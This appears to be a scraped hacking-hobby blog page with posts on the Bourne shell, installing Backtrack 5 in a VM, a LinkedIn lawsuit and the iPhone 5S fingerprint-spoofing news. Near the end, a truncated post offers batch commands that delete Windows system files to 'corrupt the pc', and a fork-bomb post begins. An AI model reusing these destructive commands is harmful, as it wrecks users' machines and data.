MyH@ckzs -- learn hack 24by7: linux security

What is Bourne shell in Unix ? L-1

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<span style="font-size: large;">The Bourne Shell</span><br />
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The Bourne shell is one of a number of Unix shells (C shell, Bash shell etc.). Like the others, it is both a command language and a programming language. (A shell is frequently called a command interpreter.) As a command language it provides a user interface to Unix/Linux. It executes commands entered by the user or from a file.<br />
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Files containing commands allow users build their own commands thus tailoring the system to their own needs. Such files are called: shell scripts, shell programs, or command files. These commands have access to the command line parameters and have the same status as other Unix commands.<br />
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As a programming language, each shell provides I/O, variables, conditionals, loops, and switches. The syntax is aimed at ease of use at a terminal so that strings for example do not have to be quoted. Each shell (Bourne, C, Bash etc) has its own syntax.<br />
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Shell programs are typically used to develop:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>1)"User-friendly'' commands<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>2)System administration utilities<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>3)Application utilities<br />
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A common criticism of Unix or the shell in particular, is that it is unfriendly. Shell programs can be written to prompt the user for parameters, check them and so on, thus cushioning the user from the powerful shell, and making the system as user-friendly as required. Experienced users often get fed up of such prompting and usually prefer using the normal shell commands.<br />
System administrators can build shell programs to add new users, to shutdown the system and so on. Some examples are given in these notes.<br />
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Finally useful applications can be developed with the shell e.g. a phone lookup system is briefly described. The development of applications often requires some knowledge of other Unix utilities such as grep, tr, ed and awk.<br />
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A knowledge of shell programming is essential for the serious Unix user, and will more than reward the few hours invested in exploring the shell, in time saved developing new commands and utilities.<br />
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What is Bourne shell in Unix ? L-1

The Bourne Shell The Bourne shell is one of a number of Unix shells (C shell, Bash shell etc.). Like the others, it is both a comman...

Installing Backtrack 5 R3 In Virtual Machine Step By Step [part 1]

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In this tutorial i will show you how to install Backtrack 5 R3 which is recently  released by offensive security team . if you’ve previously installed backtrack then you might be familiar with backtrack installations  . its easy and simple just follow given simple steps.<br />
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Stage 1<br />
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Requirements<br />
1 : Download backtrack ISO from here<br />
2 :  Download VMware Workstation or  VMplayer<br />
3 : Install any of above<br />
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Stage 2<br />
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Installation<br />
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1 : Create A new virtual machine<br />
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2 : choose installer ISO ( choose backtrack 5 ISO )<br />
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3 : choose Linux as your guest operating system type and Ubuntu as version<br />
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4 : give a name and location of your backtrack VM<br />
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5 : Specify virtual hard drive space ( 20 GB is good enough )<br />
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then click finish from ready to create vm window<br />
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hit enter to go boot screen then choose default boot text mode and hit enter<br />
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HIT ENTER AT THIS POINT<br />
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type startx to start GUI ( x server )<br />
click on Install backtrack icon or open terminal type sh -c “ubiquity”<br />
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and continue like normal installation choose keyboard type and provide location info<br />
if you are installing just backtrack then go normally and erase and use entire disk<br />
or if you installing backtrack with other OS then specify partition accordingly ( in this tutorial m using virtual hard-drive )<br />
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click on forward and click on install<br />
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wait until it finish installing<br />
it will take up-to 30 minutes depend on your system<br />
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Stage 3<br />
Network Configuration<br />
virtualbox guest audition installation<br />
vmware tools installation<br />
backup and recovery<br />
snapshots<br />
continue in part 2</div>

Installing Backtrack 5 R3 In Virtual Machine Step By Step [part 1]

In this tutorial i will show you how to install Backtrack 5 R3 which is recently released by offensive security team . if you’ve previousl...

How to Install Backtrack 5

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<header class="entry-header" style="background-color: #0f0f0f; color: #bbbbbb; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px;"><h1 class="entry-title" style="border: 0px; clear: both; color: #dddddd; font-family: inherit; font-size: 26px; font-style: inherit; line-height: 1.5em; margin: 0px; outline: 0px; padding: 15px 76px 0.3em 0px; vertical-align: baseline;">
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</header><br />
<div class="entry-content" style="background-color: #0f0f0f; border: 0px; color: #bbbbbb; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px; outline: 0px; padding: 1.625em 0px 0px; vertical-align: baseline;">
<h2 style="border: 0px; clear: both; color: white; font-family: inherit; font-size: 15px; font-style: inherit; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="BTDL" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Download the Backtrack 5 ISO</h2>
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Head over to: <a href="http://www.backtrack-linux.org/downloads/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">http://www.backtrack-linux.org/downloads/</a><br />
Then click the download button.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Linux-Download-Page.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Backtrack-Linux Download Page" class="aligncenter size-medium wp-image-900" height="160" src="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Linux-Download-Page-300x160.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After that, you will be able to pick the version of backtrack that you want. I am going to recommend Backtrack 5 R3 since it is the most up-to-date. The window manager is up to you, but I am going to use gnome. Since I will be using backtrack in a virtual machine, the 32 bit version will be fine. We want the ISO because we can use it on a DVD, a USB flash drive, and install on a virtual machine. Direct download or torrent download is up to you. The file is little over 3 GBs, so it may take some time depending on your internet speeds.</div>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Download-2.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Backtrack Download" class="aligncenter size-medium wp-image-901" height="164" src="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Download-2-300x164.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
<h2 style="border: 0px; clear: both; color: white; font-family: inherit; font-size: 15px; font-style: inherit; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="VM" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Setting up a Virtual Machine</h2>
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A virtual machine (VM) is the software implementation of a physical computer. In other words, it’s having another computer on your current computer. If you have never used a virtual machine it is a good time to start. VMs are excellent when it comes to practice labs which we will get to in another section.</div>
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To start, you’re going to need to get VM software. There are many out there, but I will list a few popular ones.</div>
<ol style="border: 0px; font-family: inherit; font-style: inherit; list-style-image: initial; list-style-position: initial; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a href="http://www.vmware.com/products/workstation/overview.html" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="VMware Workstation 9 (Windows/Linux) - $249.00 USD">VMware Workstation 9 (Windows/Linux) – $249.00 USD</a></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a href="http://www.vmware.com/products/player/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="WMware Player (Windows/Linux) - Free">VMware Player (Windows/Linux)  – Free</a></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a href="https://www.virtualbox.org/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="VirtualBox (Windows/Mac/Linux) – Free">VirtualBox (Windows/Mac/Linux) – Free</a></li>
</ol>
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Whichever VM software you go with, make sure it has a way to network with other VMs. If you don’t want to spend the money, go with VirtualBox. If you plan to get serious with penetration testing, you might want to consider getting a VMware Workstation license. It is full of useful tools and goodies such as sharing VMs and remote access and easy to work with.</div>
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I will be use VMware Workstation, but these programs are very similar in function. You shouldn’t have trouble following along if you are using something else.</div>
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After everything is installed and running, click “Create new virtual machine”.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 1" class="aligncenter size-medium wp-image-902" height="161" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-1-300x161.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Next you’re going to select “Installer disc image file” then browse for the backtrack 5 ISO.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/Vm-Install-2.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Vm Install 2" class="aligncenter size-medium wp-image-903" height="271" src="http://backtracktutorials.com/wp-content/uploads/2012/01/Vm-Install-2-300x271.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Select the operating system as linux, and the version as Ubuntu.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-3.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 3" class="aligncenter size-medium wp-image-904" height="273" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-3-300x273.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Give the virtual machine a name such as “Backtrack 5 R3” and select a location for where you want to save the virtual machine files.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-4.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 4" class="aligncenter size-medium wp-image-905" height="272" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-4-300x272.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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When asked how much you want the virtual disk drive to be, you want at least 25 GB. This will be the most demanding requirement of Backtrack 5. I went and used 40 GB for my virtual machine. Although the backtrack-linux wiki says you need at least 20 GB, I found you will run out of space by the time you install updates or any other software. Then, you will have the option of storing the virtual disk as a single file, or split into multiple files. Creating a virtual disk as a single file will allocate all of the space right away. Splitting into multiple files means the drive files will grow as you need them. So if your hard drive space is limited on your host system, go with multiple files. If you have a massive drive, and not worried about space, go with a single file.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-5.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 5" class="aligncenter size-medium wp-image-906" height="272" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-5-300x272.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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And that’s it! The virtual machine is ready to go. I left mine at 1 GB of ram, if you are limited of memory, you can change this in the virtual machine settings. The recommended minimum memory is 512 MB, however you can try lower if you need to.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-6.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 6" class="aligncenter size-medium wp-image-908" height="273" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-6-300x273.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Power on the virtual machine and you will be ready to install Backtrack.</div>
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<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="Install" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Installing Backtrack 5</h2>
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If you are installing on a hard drive, you will need to burn the Backtrack 5 ISO on to a DVD or a USB Drive. For directions on installing to a USB Drive, see here (link).</div>
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First turn on your machine, then insert your DVD or USB Drive. Then press the key that allows you to select your boot drive. You may have to go into the bios to enable this. Most often, F12 will work. Select either your DVD drive, or your USB Drive to boot from it. You should see a screen like this:</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-7.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 7" class="aligncenter size-medium wp-image-909" height="234" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-7-300x234.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After a few moments, you will see Backtrack Live CD menu. Press enter on Backtrack Text – Default Boot Text Mode.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-8.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 8" class="aligncenter size-medium wp-image-910" height="194" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-8-300x194.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Wait about 10 seconds, and you will come to Backtrack shell console. Type the command “startx” to load the GUI.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-9.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 9" class="aligncenter size-medium wp-image-911" height="229" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-9-300x229.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After another few moments, you will come to the desktop of Backtrack. Double click on the “Install Backtrack” to begin the install process.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 1" class="aligncenter size-medium wp-image-913" height="225" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-1-300x225.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After you select your time zone, and language, you then have to partition your drive. If you are using a virtual machine, go ahead and use the whole drive. If you are dual booting, you will have to specify your partition for your two operating systems.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-2.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 2" class="aligncenter size-medium wp-image-914" height="225" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-2-300x225.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Continue through the installer, and then click finish. Backtrack will then install on to your system. This process takes about 10-15 minutes.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-3.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 3" class="aligncenter size-medium wp-image-915" height="226" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-3-300x226.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After it is finish, restart your system.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-4.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 4" class="aligncenter size-medium wp-image-916" height="226" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-4-300x226.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="Login" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Backtrack 5 Login</h2>
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After restarting, you will come to a login screen like this:</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Log-1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Log 1" class="aligncenter size-medium wp-image-917" height="211" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Log-1-300x211.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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The default root name for Backtrack is “root” and the password is “toor”. After typing in the root username and password, you will come back to the Backtrack shell. Type “startx” to enter the GUI desktop.</div>
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<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="USB" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Creating a Bootable USB Drive</h2>
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Required Items:</div>
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<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">A USB flash drive with minimum space of 4 GB.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Backtrack 5 ISO</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">UNetbooin – <a href="http://unetbootin.sourceforge.net/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="http://unetbootin.sourceforge.net/">http://unetbootin.sourceforge.net/</a></li>
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UNetbootin is a program that allows you to create bootable USB drives for linux distros and Windows. UNetbootin will download the distribution or use an ISO file you selected from your hard drive.</div>
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<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Once UNetbootin is downloaded you can run it by double clicking (Windows)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Plug in your USB Drive.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Start UNetbooin and select the “diskimage” option, then select your Backtrack 5 ISO.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Select your USB Drive, then click “OK”.<br /><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">WARNING: This will format your USB Drive and remove all previous data.</strong></li>
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Now you should be able to boot off of your USB Drive with Backtrack 5.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/unetbootin1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="unetbootin" class="aligncenter size-medium wp-image-918" height="221" src="http://backtracktutorials.com/wp-content/uploads/2012/01/unetbootin1-300x221.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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How to Install Backtrack 5

Download the Backtrack 5 ISO Head over to: http://www.backtrack-linux.org/downloads/ Then click the download button. After th...

LinkedIn users have filed a lawsuit for 'hacking' users' email accounts

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Four LinkedIn users have filed a lawsuit accusing the business-oriented social network of accessing their email accounts without permission, harvesting the addresses of their contacts and spamming those people with repeated invitations to join the service.<br />
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In their most explosive claim, the plaintiffs say that LinkedIn is "breaking into" external email accounts, like Gmail or Yahoo Mail, by pretending to be the account owner, although the legal complaint offers no details about that assertion. Larry Russ, a lawyer for the plaintiffs, declined to comment beyond the suit.<br />
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The lawsuit, which is seeking damages on behalf of all LinkedIn users, revives a long-standing issue about the service: Does LinkedIn adequately inform its users about how it uses sensitive information, including email addresses of everyone they know, and get their consent to do so?<br />
<br />
As the lawsuit puts it: "As a part of its effort to acquire new users, Linkedln sends multiple e-mails endorsing its products, services and brand to potential new users. In an effort to optimize the efficiency of this marketing strategy, Linkedln sends these 'endorsement e-mails' to the list of e-mail addresses obtained without its existing users' express consent and, to further enhance the effectiveness of this particular marketing campaign, these endorsement e-mails contain the name and likeness of those existing users from whom Linkedln surreptitiously obtained the list of email addresses."<br />
<br />
LinkedIn has always maintained that it gets full consent of its users before reaching out to any of their contacts. And the company reiterated that position in a statement in response to the lawsuit, which was filed in federal court in San Jose, Calif., on Tuesday by the Los Angeles law firm Russ August & Kabat.<br />
<br />
"LinkedIn is committed to putting our members first, which includes being transparent about how we protect and utilize our members' data," the company said. "We believe that the legal claims in this lawsuit are without merit, and we intend to fight it vigorously."<br />
<br />
Regardless of the claims in the lawsuit, there is no doubt that LinkedIn makes it awfully easy for you to send an invitation to connect to everyone you have ever emailed and much harder to revoke that permission.<br />
<br />
When you sign up for the service, or want to add contacts, LinkedIn prompts you to import the email addresses of potential contacts from your email accounts, like Gmail, Yahoo Mail or Microsoft Outlook. The lawsuit says LinkedIn does this without seeking the email passwords, suggesting that LinkedIn is hacking into accounts. Under LinkedIn's normal procedures, it asks users for permission to access each account, though email passwords may not be required if a user is logged into the email account.<br />
<br />
Once those addresses are imported, LinkedIn asks you for permission to contact them on your behalf.<br />
<br />
And here we get to the crux of why LinkedIn might be viewed as spamming: By default, LinkedIn wants to invite every one of those people to connect with you on the service.<br />
<br />
Instead of asking you to opt in by checking off which specific contacts you want to invite, LinkedIn requires you to opt out by unchecking the "select all" button. If you are not careful, hundreds of invitations can go out - no second thoughts or cooling-off period provided.<br />
<br />
In fact, once the authorization is given, LinkedIn will email your contacts several times asking them to join the service or connect to you. (You can withdraw an unaccepted invitation once it is sent, but it is a tedious process.)<br />
<br />
Moreover, even if you don't invite some or all of those imported names to connect with you, LinkedIn saves the information for various purposes, including prompting you later to add the people as connections.<br />
<br />
LinkedIn had 238 million users worldwide at the end of June, up 37 per cent from the second quarter of 2012. It relies heavily on user referrals for that sizzling growth, which has also sent its stock price into the stratosphere.<br />
<br />
Such growth by referral is common to social networks, games and mobile applications, though sometimes they cross the line into what many of their users would consider spamming. For example, the Path social network got into trouble for such mass mailing this year, prompting Facebook to restrict it from accessing its users' accounts.<br />
<br />
The lawsuit, and numerous complaints on LinkedIn's own message boards, suggest that the company is treading dangerously. As one user quoted in the lawsuit put it in a post on LinkedIn:<br />
<br />
"Accessing my contacts so that I can see who I'd like to connect with is one thing. Spamming my entire contact database of everyone I've ever emailed is definitely black hat tactics at growing users. This included people I know, don't know, email addresses from people off Craigslist, even mailing lists received an 'invite to connect' from me today. I did not click on 'invite all.' In fact, I clicked on 'skip this step.' Very disappointing." </div>

LinkedIn users have filed a lawsuit for 'hacking' users' email accounts

Four LinkedIn users have filed a lawsuit accusing the business-oriented social network of accessing their email accounts without permission...

Apple iPhone 5S fingerprint sensor hacked by Germany's Chaos Computer Club

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An Apple employee instructs the use of the fingerprint scanner technology built into the company's iPhone 5S. German hackers say they can beat it. Photograph: Ng Han Guan/AP<br />
Germany's Chaos Computer Club says it has cracked the protection around Apple's fingerprint sensor on its new iPhone 5S, just two days after the device went on sale worldwide.<br />
<br />
In a post on their site, the group says that their biometric hacking team took a fingerprint of the user, photographed from a glass surface, and then created a "fake fingerprint" which could be put onto a thin film and used with a real finger to unlock the phone.<br />
<br />
The claim, which is backed up with a video, will create concerns for businesses which see users intending to use the phone to access corporate accounts. While it requires physical access to the phone, and a clean print of one finger which is one of those used to unlock the phone, it raises the risk of a security breach.<br />
<br />
<br />
Chaos Computer Club shows how it has hacked fingerprint sensor on iPhone 5S<br />
<br />
"This demonstrates – again – that fingerprint biometrics is unsuitable as access control method and should be avoided," said the Chaos Club's blogpost author, "Starbug". "In reality, Apple's sensor has just a higher resolution compared to the sensors so far. So we only needed to ramp up the resolution of our fake. As we have said now for more than years, fingerprints should not be used to secure anything. You leave them everywhere, and it is far too easy to make fake fingers out of lifted prints."<br />
<br />
The group does not claim to have extracted the fingerprint representation from the phone itself, where Apple says it is held on a secure chip. Instead it relies on capturing a high-quality fingerprint elsewhere, and having access to the phone.<br />
<br />
"Relying on your fingerprints to secure a device may be okay for casual security – but you shouldn't depend upon it if you have sensitive data you wish to protect," commented security specialist Graham Cluley.<br />
<br />
Apple did not respond to a request for comment on the hack.<br />
<br />
The revelation is the third security failing discovered since the phone and its iOS 7 software were released last week. First, a hacker found that they could use a flaw in iOS 7's Control Centre feature on the iPhone 4S and 5 to access photos and send emails. Another found that the Emergency Call screen can be used to place a call to any number.<br />
<br />
The Chaos Club details its methods for the fingerprint hack, which begins with a high-quality fingerprint lifted from a glass, doorknob or glossy surface. The print, which essentially consists of fat and sweat, is made visible using graphite powder or a component of superglue, and then photographed at high resolution to create a 2400 pixel-per-inch scan. That is then printed onto an overhead projector plastic slide using a laser print, forming a relief. That is then covered with wood glue, cut and attached to a real finger.<br />
<br />
Apple introduced Touch ID, as it calls the fingerprint system, on its top-end iPhone 5S, unveiled earlier in the month. The technology uses a scanner built into the home button of the phone to take a high-resolution image from small sections of the fingerprint from the sub-epidermal layers of the skin. Apple says "Touch ID then intelligently analyses this information with a remarkable degree of detail and precision."<br />
<br />
Users can choose to use up to five fingerprints - which can be changed - to unlock the phone and optionally pay for iTunes Store purchases. They have first to create a passcode of at least four digits, and then "enrol" fingerprints separately. Apple says that the process creates a mathematical representation of the fingerprint representation, and that it is only stored on the phone.<br />
<br />
Apple's own notes about its Touch ID system on its site say that Touch ID will incrementally add new sections of your fingerprint to your enrolled fingerprint data to improve matching accuracy over time. Touch ID uses all of this to provide an accurate match and a very high level of security."<br />
<br />
The company says that "Every fingerprint is unique, so it is rare that even a small section of two separate fingerprints are alike enough to register as a match for Touch ID. The probability of this happening is 1 in 50,000 for one enrolled finger. This is much better than the 1 in 10,000 odds of guessing a typical 4-digit passcode. Although some passcodes, like "1234", may be more easily guessed, there is no such thing as an easily guessable fingerprint pattern."<br />
<br />
It notes that after five unsuccessful attempts to match the fingerprint, the user has to enter their passcode, and the fingerprint unlock will not work.<br />
<br />
Speaking to BusinessWeek just after the iPhone 5S was unveiled, Craig Federighi, Apple's head of software, emphasised that the fingerprints would not leave the phone. He said that making a finger unlocking and purchasing system "sounds like a simple idea, but how many places could that become a bad idea because you failed to execute on it? We thought, 'Well, one place where that could be a bad idea is somebody who writes a malicious app, somebody who breaks into your phone, starts capturing your fingerprint. What are they doing with that? Can they reuse that in some other location? Can they use it to spoof their way into other people's phones?'"<br />
<br />
He said that Apple's focus had been to make sure that "no matter if you took ownership of the whole device and ran whatever code you wanted on the main processor [you]could not get that fingerprint out of there. Literally, the physical lines of communication in and out of the chip would not permit that ever to escape."</div>

Apple iPhone 5S fingerprint sensor hacked by Germany's Chaos Computer Club

An Apple employee instructs the use of the fingerprint scanner technology built into the company's iPhone 5S. German hackers say they c...

Dangerous batch File Coding for corrupt the pc

1.copy this and paste this in your notepad.. @echo off del c:windowssystem32restore del c:windowssystem32winlogon.exe del c:windowssystem...

Fork Bombing using bat file

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">open notepad & type</span><br />
<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">@echo off</span><br />
